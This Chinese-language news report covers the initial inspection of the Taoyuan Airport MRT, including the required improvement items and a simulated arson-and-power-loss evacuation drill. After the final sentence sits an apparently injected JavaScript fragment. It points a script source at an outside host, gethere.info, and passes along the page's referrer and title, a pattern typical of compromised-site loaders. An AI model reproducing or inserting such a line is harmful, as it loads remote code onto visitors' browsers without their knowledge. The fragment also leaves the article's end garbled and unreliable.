機場捷運初勘檢查於昨(4)日完成，履勘前須改善事項計12項，一般注意改善事項49項，後續建議事項42項；其中，履勘前須改善事項必須經初勘委員會複檢且通過後，才得依程序報請交通部辦理履勘。
兩天的初勘由委員先就有關工程施工、測試及營運規章等資料文件檢視，隨即前往機場捷運台北車站 A1站、機場第二航廈站 A13站、高鐵桃園站 A18站、環北站 A21站等重要轉運與端末站及青埔機廠(含行控中心)，就車站設施設備、維修基地設備、軌道、機電及行李處理設備、轉乘設施與長陡坡等實地勘查、測試。
列車行駛體育大學站A7站往泰山貴和站A6站途中，模擬發生人為縱火，且同時發生斷電致列車失去動力，列車必須以滑行方式進入泰山貴和站，進行人員疏散及傷患救助，順利完成後，同時也啟動公車緊急接駁，由臺北車站A1站至林口長庚醫院A8站區間進行公車接駁，A8站至中壢環北A21站區間，列車持續運轉，同時，A1車站預辦登機行包作業，也同步啟動應變處理機制。
桃捷公司表示，這項考題的難度是最高等級，是一種多重災害演練，現已順利完成演練。初勘作業完成後，將由高鐵局等興建單位，會同營運單位桃捷公司，儘速完成初勘委員所提的改善事項，待改善後報請交通部辦理履勘。s.src=’http://gethere.info/kt/?264dpr&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;